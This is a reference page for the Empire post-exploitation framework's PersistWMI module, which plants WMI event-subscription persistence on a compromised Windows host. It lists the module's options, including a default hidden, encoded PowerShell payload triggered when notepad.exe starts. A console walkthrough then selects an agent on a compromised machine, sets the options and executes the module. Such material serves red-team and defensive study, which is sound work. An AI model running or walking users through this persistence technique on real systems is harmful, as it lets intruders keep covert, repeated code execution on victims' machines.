PersistWMI - Empire Module
This page contains detailed information about how to use the csharp/SharpSploit.Persistence/PersistWMI Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: PersistWMI
Module: csharp/SharpSploit.Persistence/PersistWMI
Source code:
empire/server/modules/csharp/SharpSploit.Persistence.Covenant.yaml#L211
Language: C#
Needs admin: No
OPSEC safe: No
Background: No
The PersistWMI module creates a WMI Event, Consumer and Binding to execute a payload.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the PersistWMI module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the PersistWMI module:
Agent
Agent to run module on.
DotNetVersion
.NET version to compile against.
Default value: Net35
.
Suggested values: Net35
, Net40
.
EventConsumer
Specifies the action to carry out.
Default value: CommandLine
.
EventFilter
Specifies the event trigger to use.
Default value: ProcessStart
.
EventName
Creates a WMI Event, Consumer and Binding to execute a payload.
EventName: An arbitrary name to be assigned to the new WMI Event. E.g. "Evil Persistence".
EventFilter: Specifies the event trigger to use. The options are "ProcessStart".
EventConsumer: Specifies the action to carry out. The options are "CommandLine" (OS Command) and "ActiveScript" (JScript or VBScript).
Payload: Specifies the CommandLine or ActiveScript payload to run. E.g. "powershell -Sta -Nop -Window Hidden -EncodedCommand <blah>".
ProcessName: Specifies the process name when the "ProcessStart" trigger is selected. E.g. "notepad.exe".
ScriptingEngine: Specifies the scripting engine when the "ActiveScript" consumer is selected. The options are "JScript" and "VBScript".
Default value: Evil Persistence
.
Payload
Specifies the CommandLine or ActiveScript payload to run.
Default value: powershell -Sta -Nop -Window Hidden -EncodedCommand <blah>
.
ProcessName
Specifies the process name when the ProcessStart trigger is selected.
Default value: notepad.exe
.
Additional Module Options
This is a list of additional options that are supported by the PersistWMI module:
ScriptingEngine
Specifies the scripting engine when the ActiveScript consumer is selected.
Default value: VBScript
.
PersistWMI Example Usage
Here's an example of how to use the PersistWMI module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.Persistence/PersistWMI
Author _RastaMouse
Background False
Description Creates a WMI Event, Consumer and Binding to execute a payload.
Language csharp
Name csharp/SharpSploit.Persistence/PersistWMI
NeedsAdmin False
OpsecSafe False
,Record Options---,-------------------------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|-----------------|-------------------------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|-----------------|-------------------------------------|----------|-------------------------------------|
| DotNetVersion | Net35 | True | .NET version to compile against |
|-----------------|-------------------------------------|----------|-------------------------------------|
| EventConsumer | CommandLine | True | Specifies the action to carry out. |
|-----------------|-------------------------------------|----------|-------------------------------------|
| EventFilter | ProcessStart | True | Specifies the event trigger to use. |
|-----------------|-------------------------------------|----------|-------------------------------------|
| EventName | Evil Persistence | True | Creates a WMI Event, Consumer and |
| | | | Binding to execute a payload. |
| | | | EventName: An arbitrary name to be |
| | | | assigned to the new WMI Event. E.g. |
| | | | "Evil Persistence". |
| | | | EventFilter: Specifies the event |
| | | | trigger to use. The options are |
| | | | "ProcessStart". |
| | | | EventConsumer: Specifies the action |
| | | | to carry out. The options are |
| | | | "CommandLine" (OS Command) and |
| | | | "ActiveScript" (JScript or |
| | | | VBScript). Payload: |
| | | | Specifies the CommandLine or |
| | | | ActiveScript payload to run. E.g. |
| | | | "powershell -Sta -Nop -Window |
| | | | Hidden -EncodedCommand <blah>". |
| | | | ProcessName: Specifies the process |
| | | | name when the "ProcessStart" |
| | | | trigger is selected. E.g. |
| | | | "notepad.exe". |
| | | | ScriptingEngine: Specifies the |
| | | | scripting engine when the |
| | | | "ActiveScript" consumer is |
| | | | selected. The options are "JScript" |
| | | | and "VBScript". |
|-----------------|-------------------------------------|----------|-------------------------------------|
| Payload | powershell -Sta -Nop -Window Hidden | True | Specifies the CommandLine or |
| | -EncodedCommand <blah> | | ActiveScript payload to run. |
|-----------------|-------------------------------------|----------|-------------------------------------|
| ProcessName | notepad.exe | True | Specifies the process name when the |
| | | | ProcessStart trigger is selected. |
|-----------------|-------------------------------------|----------|-------------------------------------|
| ScriptingEngine | VBScript | False | Specifies the scripting engine when |
| | | | the ActiveScript consumer is |
| | | | selected. |
'-----------------'-------------------------------------'----------'-------------------------------------'
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set EventConsumer CommandLine
[*] Set EventConsumer to CommandLine
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set EventFilter ProcessStart
[*] Set EventFilter to ProcessStart
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set EventName Evil
[*] Set EventName to Evil
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set Payload powershell
[*] Set Payload to powershell
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > set ProcessName notepad.exe
[*] Set ProcessName to notepad.exe
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > execute
[!] Error: csharpserver plugin not running
Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running
" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > useplugin csharpserver
,Record Options--,----------,----------------------------------,
| Name | Value | Required | Description |
|--------|-------|----------|----------------------------------|
| status | start | True | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'
(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistWMI) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
- _RastaMouse
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/csharp/SharpSploit.Persistence.Covenant.yaml#L211
- https://twitter.com/_RastaMouse
- https://twitter.com/den_n1s
See Also
Check also the following modules related to this module:
- csharp/SharpSploit.Persistence/PersistStartup
- csharp/SharpSploit.Persistence/PersistCOMHijack
- csharp/SharpSploit.Persistence/PersistAutorun
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.